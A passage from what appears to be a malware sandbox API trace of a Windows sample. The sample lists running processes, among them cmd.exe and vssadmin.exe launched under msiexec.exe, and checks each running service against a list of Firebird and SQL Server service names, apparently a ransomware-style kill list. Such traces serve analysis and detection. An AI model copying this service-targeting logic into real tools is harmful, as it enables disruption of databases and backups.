th32ProcessID=0x870, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.626] lstrlenW (lpString="svchost.exe") returned 11 [0118.626] Process32NextW (in: hSnapshot=0x1f8, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0118.626] lstrlenW (lpString="sppsvc.exe") returned 10 [0118.626] Process32NextW (in: hSnapshot=0x1f8, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.627] lstrlenW (lpString="svchost.exe") returned 11 [0118.627] Process32NextW (in: hSnapshot=0x1f8, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0119.009] lstrlenW (lpString="msiexec.exe") returned 11 [0119.009] Process32NextW (in: hSnapshot=0x1f8, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xad4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0119.010] lstrlenW (lpString="cmd.exe") returned 7 [0119.010] Process32NextW (in: hSnapshot=0x1f8, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0119.011] lstrlenW (lpString="conhost.exe") returned 11 [0119.011] Process32NextW (in: hSnapshot=0x1f8, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xb50, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0119.011] lstrlenW (lpString="vssadmin.exe") returned 12 [0119.011] Process32NextW (in: hSnapshot=0x1f8, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0119.012] lstrlenW (lpString="VSSVC.exe") returned 9 [0119.012] Process32NextW (in: hSnapshot=0x1f8, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0119.013] CloseHandle (hObject=0x1f8) returned 1 [0119.013] Sleep (dwMilliseconds=0x1f4) [0119.658] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x52e918 [0119.661] EnumServicesStatusExW (in: hSCManager=0x52e918, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0) returned 0 [0119.661] GetLastError () returned 0xea [0119.661] EnumServicesStatusExW (in: hSCManager=0x52e918, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x30e0288, cbBufSize=0x13fc, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x30e0288, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0) returned 1 [0119.662] CloseServiceHandle (hSCObject=0x52e918) returned 1 [0119.662] lstrlenW (lpString="Appinfo") returned 7 [0119.662] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0119.662] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0119.662] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0119.662] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0119.662] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0119.662] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0119.662] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0119.662] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0119.662] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0119.662] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0119.662] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0119.663] lstrlenW (lpString="AudioSrv") returned 8 [0119.663] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0119.663] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0119.663] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0119.663] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0119.663] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0119.663] lstrlenW (lpString="BFE") returned 3 [0119.663] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0119.663] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0119.663] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0119.663] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0119.663] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0119.663] lstrlenW (lpString="CryptSvc") returned 8 [0119.663] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0119.663] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0119.663] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0119.663] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0119.663] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0119.663] lstrlenW (lpString="CscService") returned 10 [0119.663] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0119.663] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0119.663] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0119.663] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0119.663] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0119.663] lstrlenW (lpString="DcomLaunch") returned 10 [0119.663] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0119.663] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0119.663] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0119.663] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0119.663] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0119.663] lstrlenW (lpString="Dhcp") returned 4 [0119.663] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0119.663] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0119.664] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0119.664] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0119.664] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0119.664] lstrlenW (lpString="Dnscache") returned 8 [0119.664] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0119.664] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0119.664] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0119.664] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0119.664] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0119.664] lstrlenW (lpString="DPS") returned 3 [0119.664] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0119.664] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0119.664] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0119.664] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0119.664] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0119.664] lstrlenW (lpString="eventlog") returned 8 [0119.664] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0119.664] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0119.664] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0119.664] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0119.664] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0119.664] lstrlenW (lpString="EventSystem") returned 11 [0119.664] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0119.664] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0119.664] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0119.664] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0119.664] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0119.664] lstrlenW (lpString="FontCache") returned 9 [0119.664] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0119.664] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0119.664] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0119.664] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0119.664] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0119.664] lstrlenW (lpString="gpsvc") returned 5 [0119.665] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0119.665] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0119.665] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0119.665] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0119.665] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0119.665] lstrlenW (lpString="iphlpsvc") returned 8 [0119.665] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0119.665] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0119.665] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0119.665] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0119.665] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0119.665] lstrlenW (lpString="LanmanServer") returned 12 [0119.665] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0119.665] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0119.665] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0119.665] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0119.665] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0119.665] lstrlenW (lpString="LanmanWorkstation") returned 17 [0119.665] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0119.665] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0119.665] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0119.665] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0119.665] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0119.665] lstrlenW (lpString="lmhosts") returned 7 [0119.665] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0119.665] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0119.665] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0119.665] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0119.665] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0119.665] lstrlenW (lpString="MMCSS") returned 5 [0119.665] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0119.665] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0119.665] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0119.665] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0119.665] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0119.666] lstrlenW (lpString="MpsSvc") returned 6 [0119.666] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0119.666] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0119.666] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0119.666] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0119.666] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0119.666] lstrlenW (lpString="Netman") returned 6 [0119.666] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0119.666] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0119.666] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0119.666] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0119.666] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0119.666] lstrlenW (lpString="netprofm") returned 8 [0119.666] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0119.666] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0119.666] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0119.666] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0119.666] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0119.666] lstrlenW (lpString="NlaSvc") returned 6 [0119.666] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0119.666] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0119.666] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0119.666] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0119.666] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0119.666] lstrlenW (lpString="nsi") returned 3 [0119.666] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0119.666] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0119.666] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0119.666] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0119.666] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0119.666] lstrlenW (lpString="PcaSvc") returned 6 [0119.666] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0119.666] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0119.666] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0119.667] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0119.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0119.667] lstrlenW (lpString="PlugPlay") returned 8 [0119.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0119.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0119.667] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0119.667] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0119.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0119.667] lstrlenW (lpString="Power") returned 5 [0119.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0119.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0119.667] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0119.667] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0119.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0119.667] lstrlenW (lpString="ProfSvc") returned 7 [0119.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0119.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0119.667] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0119.667] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0119.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0119.667] lstrlenW (lpString="RpcEptMapper") returned 12 [0119.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0119.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0119.667] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0119.667] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0119.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0119.667] lstrlenW (lpString="RpcSs") returned 5 [0119.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0119.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0119.667] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0119.667] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0119.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0119.667] lstrlenW (lpString="SamSs") returned 5 [0119.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0119.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0119.668] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0119.668] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0119.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0119.668] lstrlenW (lpString="Schedule") returned 8 [0119.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0119.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0119.668] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0119.668] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0119.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0119.668] lstrlenW (lpString="SENS") returned 4 [0119.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0119.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0119.668] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0119.668] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0119.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0119.668] lstrlenW (lpString="ShellHWDetection") returned 16 [0119.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0119.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0119.668] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0119.668] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0119.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0119.668] lstrlenW (lpString="Spooler") returned 7 [0119.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0119.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0119.668] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0119.668] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0119.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0119.668] lstrlenW (lpString="sppsvc") returned 6 [0119.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0119.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0119.668] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0119.668] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0119.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0119.669] lstrlenW (lpString="SysMain") returned 7 [0119.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0119.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0119.669] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0119.669] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0119.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0119.669] lstrlenW (lpString="Themes") returned 6 [0119.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0119.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0119.669] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0119.669] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0119.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0119.669] lstrlenW (lpString="TrkWks") returned 6 [0119.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0119.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0119.669] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0119.669] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0119.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0119.669] lstrlenW (lpString="UxSms") returned 5 [0119.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0119.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0119.669] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0119.669] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0119.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0119.669] lstrlenW (lpString="VSS") returned 3 [0119.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0119.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0119.669] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0119.669] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0119.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0119.669] lstrlenW (lpString="W32Time") returned 7 [0119.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="W32Time") returned -1 [0119.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="W32Time") returned -1 [0119.669] lstrcmpiW (lpString1="sqlwriter", lpString2="W32Time") returned -1 [0119.670] lstrcmpiW (lpString1="mssqlserver", lpString2="W32Time") returned -1 [0119.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="W32Time") returned -1 [0119.670] lstrlenW (lpString="WdiServiceHost") returned 14 [0119.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0119.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0119.670] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0119.670] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0119.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0119.670] lstrlenW (lpString="WdiSystemHost") returned 13 [0119.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0119.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0119.670] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0119.670] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0119.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0119.670] lstrlenW (lpString="WinDefend") returned 9 [0119.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0119.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0119.670] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0119.670] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0119.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0119.670] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0119.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0119.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0119.670] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0119.670] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0119.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0119.670] lstrlenW (lpString="Winmgmt") returned 7 [0119.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0119.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0119.670] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0119.670] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0119.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0119.670] lstrlenW (lpString="wscsvc") returned 6 [0119.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0119.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 